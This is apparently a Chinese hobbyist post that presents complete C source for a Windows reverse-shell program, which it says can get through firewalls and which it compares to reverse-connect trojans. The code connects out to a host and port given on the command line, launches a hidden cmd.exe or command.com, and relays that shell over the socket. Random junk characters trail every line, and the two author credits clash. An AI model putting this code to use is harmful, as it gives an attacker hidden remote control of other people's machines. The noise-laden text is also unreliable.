这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Pr+~Kif
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/* ============================== B,_`btJh
Rebound port in Windows NT ''S&e
By wind,2006/7 -#?<05/C>
===============================*/ MdC<4^|
#include K;U39ofW
#include kX[fy7rVt
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#pragma comment(lib,"wsock32.lib") Z^zbWFO]5
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void OutputShell(); %M&3VQ9w
SOCKET sClient; aqMc6N`z
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; t)N;'v &
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void main(int argc,char **argv) u,7zFg)H
{ %6ub3PLw8
WSADATA stWsaData; \ZD[!w7
int nRet; `HW:^T
SOCKADDR_IN stSaiClient,stSaiServer; Ftv8@l
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if(argc != 3) 1pP1d%
{ >qR~'$,$
printf("Useage:\n\rRebound DestIP DestPort\n"); 9s` /~ a@
return; Bux'hc
} ? _<[T
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5]"SGP
u@=?#a$$
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9vI]LfP
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stSaiClient.sin_family = AF_INET; :?CQuEv-
stSaiClient.sin_port = htons(0); WM,i:P)b
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4/*H.Fl
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Pxhz@":[
{ tNnyue{p
printf("Bind Socket Failed!\n"); _3>djF_u
return; O8|*M "
} 4tXSYHd3
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stSaiServer.sin_family = AF_INET; 4nkE IZ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7=P^_LcU
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "tu*YNP\Q
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /#S>sOg2xq
{ PlCc8Zy
printf("Connect Error!"); ~`eHHgX
return; }/e`v6
} N4UM82N
OutputShell(); 9z ?7{2C
} K:5eek
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void OutputShell() N[U9d}Zv
{ >dQ K.CG
char szBuff[1024]; Bct"X#W|&
SECURITY_ATTRIBUTES stSecurityAttributes; N.j
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OSVERSIONINFO stOsversionInfo; |(% u}V?
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Zzj0\?Ul
STARTUPINFO stStartupInfo; }
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char *szShell; Yrn"saVc,
PROCESS_INFORMATION stProcessInformation; Jx|I6y
unsigned long lBytesRead; HIf{Z* mb
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2KI!af[I
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); l@~LV}BI
stSecurityAttributes.lpSecurityDescriptor = 0; 3HiFISA*
stSecurityAttributes.bInheritHandle = TRUE; Z=+03
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); x?r1s#88>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K7`YJp`i
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?tYpc_p#
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UAYd?r
stStartupInfo.wShowWindow = SW_HIDE; rwqv V^
stStartupInfo.hStdInput = hReadPipe; / 8gL.i$
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &35|16z%@
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GetVersionEx(&stOsversionInfo); '2^
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switch(stOsversionInfo.dwPlatformId) dpzw.Z
{ ;IZ?19Q
case 1: g]$
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szShell = "command.com"; <{ru|-9
break;
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default: LSd*|3E}n
szShell = "cmd.exe"; J7&DR^.Sw
break; Fhj8lVvk
} [}o~PN:sT(
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g-)mav
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send(sClient,szMsg,77,0); 0SV \{]2
while(1) `
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{ ,x_Z JL
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K"{HseN{
if(lBytesRead) RKkGITDk
{ >Pal H24]
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); JMyTwj[7
send(sClient,szBuff,lBytesRead,0); f3PMVf:<
} z&+
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else d;G~hVu
{ m(47s
lBytesRead=recv(sClient,szBuff,1024,0); =Hu0v}i/
if(lBytesRead<=0) break; "pvZ,l>8f
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mLwY]2T"
} $H2GbZ-I
} h)x_zZ%>o
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return; ps1@d[n
}